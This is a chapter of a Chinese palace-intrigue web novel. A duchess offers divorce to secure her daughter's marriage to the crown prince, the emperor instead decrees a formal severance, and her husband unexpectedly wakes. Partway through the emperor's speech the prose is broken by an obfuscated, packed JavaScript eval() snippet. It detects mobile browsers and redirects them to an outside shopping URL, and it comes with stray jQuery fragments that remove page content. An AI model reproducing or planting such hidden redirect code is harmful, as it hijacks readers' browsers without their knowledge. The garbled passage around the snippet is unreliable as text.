第308章 义绝!并非和离!

作品:《惨死认亲日,嫡女夺回凤命杀疯了

    薛静姝深吸一口气,抬起颤抖的手,抹去脸上纵横的泪痕。


    再次开口时,声音已褪去了大半哽咽,只剩下孤注一掷的清晰与冷硬:


    “阿翁,儿媳知道,今日擅作主张,已是铸下大错,无可挽回。”


    她挺直了背脊,目光掠过昏迷不醒的陆擎,最终定在陆震山那张铁石般的脸上。


    “但事已至此,陛下金口玉言,圣旨已下,中宫娘娘亦亲口称许,乐见其成。


    太子殿下与倩波确是情投意合,天赐良缘!


    如今夫君生死未卜,安王府风雨飘摇,我们孤儿寡母,更需要这门婚事作为依靠。


    阿翁,您即便不念儿媳操持中馈的些许苦劳,也请看在我薛氏与陆氏多年姻亲的情分上,成全这两个孩子吧!


    难道,您真要眼睁睁看着倩波婚事断绝,从此沦为京中笑柄吗?”


    陆震山面色不见丝毫波澜,唯有那双历经风霜的眼眸,寒意更甚:


    “你的意思是说,阿擎今日若有不测,老夫再固执己见,便是不通人情、不顾家族,不识时务!


    甚至可能落个‘抗旨不尊’的罪名,是吗?”


    这话实在太重,也太直白。


    薛静姝脸色煞白。


    太子更是上前一步,急道:“老国公言重了!绝无此意!


    孤对倩波一片真心,对安王府、对陆家只有敬重,绝无利用挟制之心!


    此番婚事,孤可向父皇请旨,确保不涉军政,安王府日后一切照旧……”


    太子不能不急。


    须知,民间早有谚语流传:“文有谢阁老,武有陆震山,清流砥柱沈青天。”


    盛赞的便是三位以德行、功绩、刚直闻名朝野的重臣。


    谢阁老早已作古,沈青天远在江南,而眼前这位“陆震山”,是历经三朝的老臣,战功赫赫。


    更难得的是他急流勇退,不恋权位,致仕后深居简出,德望却愈发隆盛。


    在军中、民间、乃至文官清流之中,皆享有极高声望。


    如此人物,如此门第,也无怪乎太子对陆倩波志在必得。


    娶了她,能得到的东西实在太多了。


    皇帝的脸色,在陆震山说出“抗旨不尊”四字时,也显出一丝明显的尴尬。


    陆震山不再看薛静姝和太子,他转向皇帝,再次深深跪拜下去:


    “陛下,臣老了。臣这一生,跟随过三位帝王,从马背打天下,到朝堂定国策,见过繁华,也历过生死。


    臣不懂如今朝堂上那些弯弯绕绕的新学问,臣只认一个死理——”


    他抬起头,目光清澈而坚定地看着皇帝:


    “马革裹尸,是武人的荣耀;解甲归田,是功臣的本分。


    老臣自幼便是这般教导阿擎:陆家的男人,只需握紧手中刀,守好脚下土,不负陛下重托,不负百姓供养。


    陛下是圣明天子,绝不会辜负任何一个忠臣。”


    这番话,朴素至极,却字字千钧,直击人心。


    皇帝紧绷的面容明显缓和下来,眼神中甚至流露出一丝追忆与动容。


    他想起了幼时陆震山手把手教他骑射,讲述兵法;


    想起了登基之初边疆不稳时,陆擎的浴血奋战……


    那些风雨同舟、君臣一心的岁月,并非全是虚假。


    陆震山继续道:“陛下,老臣愚钝,只知若陆家女眷嫁入东宫,一切就都变了味道。


    陆家儿郎在前线流血,京城却会说,看啊,那是太子妃的娘家,是未来的国丈……


    陛下您……又会如何看待这个手握重兵、又与储君联姻的‘忠臣’?”


    云昭在一旁听着,心中不由暗赞一声“通透”!


    古往今来,多少家族被“从龙之功”、“外戚之贵”迷花了眼,拼命想将家族与储君绑定,以期未来更上一层楼。


    却少有人能看透,对于皇帝而言,一个只忠于皇权的“孤臣”将军,远比一个既是重将又是储君岳父的“外戚”更让人安心。


    哪个雄才大略的皇帝,不忌惮兵权在握的外戚?


    既想要国丈尊荣,就得早早交出兵权,安心做个富贵闲人;


    而想继续手握重权、镇守一方,就必须保持绝对的“孤臣”本色。


    陆老爷子今日以死相逼,求的不是抗旨,而是为陆家求一个“清白”,求皇帝一个“放心”。


    太子脸色已经非常难看,他正要再开口争辩,薛静姝却猛地抬头,抢先一步,声音尖厉而决绝:


    “陛下!圣旨已下,天下皆知!岂可因老国公一时固执而朝令夕改,损及天家威严与太子声誉?”


    她重重磕了一个头,额头触及冰冷金砖,发出沉闷声响:


    “既然阿翁执意认定,是我薛静姝目光短浅,是我带累了陆氏门风,是这桩婚事玷污了陆家百年清誉——


    好!好!好!”


    她连说三个“好”字,一声比一声决绝:


    “儿媳……今日便当着陛下与诸位的面说一句,


    我,薛静姝——愿与安王陆擎,和离!”


    “和离”二字一出,满殿皆惊。


    太子萧鉴猛地转头看她!


    眼中先是恼恨,随即不知想到什么,竟硬生生将到嘴边的反对压了下去,只是脸色阴沉得可怕。


    薛静姝挺直脊背,泪痕未干,眼神却燃烧着一种近乎疯狂的偏执:


    “但是,和离是我与陆擎夫妻之间的事,需陛下明旨裁定,以正视听!


    倩波姓陆,她身上流着陆家的血,是陆家名正言顺的嫡长孙女!


    这一点,谁也改变不了!”


    她的目光如淬毒的针,扫过陆震山,最终钉在御座之上:


    “倩波与太子殿下的婚事,乃陛下钦赐,必须如期举行!


    并且,她要从安王府,以安王府嫡出郡主之尊,堂堂正正发嫁!


    陆家须得按照宗室嫡女最高规格,为她置办嫁妆,风风光光、体体面面地送她出阁!


    否则,我薛静姝便是拼却性命,也要为女儿争一个公道!”


    云昭在一旁听着,不由感慨这番厚颜无耻的话,满京城也只有安王妃能说出来。


    既要改“义绝”为“和离”,又要陆倩波从安王府以嫡女身份发嫁,还要陆家以最高规格置办嫁妆,风风光光送嫁!


    这跟压根儿没和离有什么区别?!


    殿内陷入一种压抑的沉默。


    皇帝缓缓站起身,目光扫过众人,最终落在陆震山身上,声音恢复了帝王的威严与沉稳:


    “老国公,陆擎重伤,朕心甚恻。你爱子心切,朕能体谅。<b


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17120787|187080||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    r>陆家世代忠勤王事,功在社稷,朕亦从未或忘。


    但太子与南华郡主的婚事,关乎国体,朕金口已开,断无收回之理。”


    他的目光落在薛静姝身上,带着居高临下的审视与裁决:


    “安王妃薛氏,子女婚姻大事,本当秉承父母之命,遵从家族之议。


    你身为宗室命妇,却擅作主张,先斩后奏,搅动风云,实属不堪为宗妇典范。


    朕,准陆擎与薛静姝——自此义绝!


    着宗人府会同礼部,依制办理义绝事宜。一应文书,速速办妥。”


    此言一出,薛静姝整个人如遭雷击,定定跪坐在那儿,半晌无言。


    义绝!并非和离!


    且是经由皇帝金口,判她夫妻二人义绝!


    从此,她再也不是安王妃了!


    皇帝无视了薛静姝几乎凝固的脸色,又接着道:


    “南华郡主陆倩波,既系安王嫡女,皇室玉牒所载,身份毋容置疑。


    与太子之婚约,一切如旧。


    所有婚仪典制,由礼部、钦天监即日着手,加紧筹备,务求隆重周全,不得有误。”


    最后,他看向陆震山,语气似乎缓和了些,却带着不容反驳的安排:


    “至于安王府嫁妆事宜……老国公,陆擎重伤在身,心神俱损,不宜操劳。


    陆家近日风波不断,亦需静养。


    这份嫁妆,便由薛氏自行筹措,东宫亦可酌情襄助。


    总须全了皇家的体面,也全了安王府的体面。老国公以为如何?”


    这番旨意,简直是各打五十大板。


    从陆家来看,确实全了陆家想要“义绝”的颜面与坚守,且免了陆家为陆倩波出具嫁妆;


    薛静姝那边,女儿能与太子顺利完婚,且从安王府发嫁,也算实现了她的夙愿。


    皇帝已然允了他们双方各自最想要的东西。


    陆震山缓缓俯首:“老臣领旨。谢陛下恩典。”


    常玉已备好笔墨,皇帝亲自用了印,将准许义绝的旨意交到陆震山手中。


    就在这时,一道微弱的气声忽而响起:“水……”


    声音虽轻,但在落针可闻的紫宸殿内,却清晰无比。


    陆擎醒了!


    所有人的脸色,在瞬间剧变!


    薛静姝脸上那强撑的决绝、孤注一掷的狠戾,瞬间粉碎!


    她浑身剧烈地颤抖起来,仿佛瞬间被抽走了所有的筋骨与支撑,几乎要瘫软在地。


    他怎么会醒?他怎么可以醒?!


    她以为丈夫再也醒不过来,才敢说出那些恩断义绝的诛心之言!


    才敢以彻底牺牲自己的婚姻和名誉、甚至与陆家**为代价,去赌女儿一个看似光明的未来。


    就是安王府,未来总有一天,也会因为这桩婚事而感谢她有远见的!


    可陆擎醒了!


    就在皇帝下旨准予他们义绝的当口!


    巨大的恐惧,滔天的羞耻,还有一丝连她自己都不愿承认的绝望,如潮水般将薛静姝彻底淹没。


    她几乎不敢抬头去看任何人的眼睛,只能死死抓住裙裾,看向守在陆擎身边的那道身影——


    云、昭!


    又是她!她怎么就非要跟自己过不去!


    就放着陆擎那样安安静静**,不行吗?!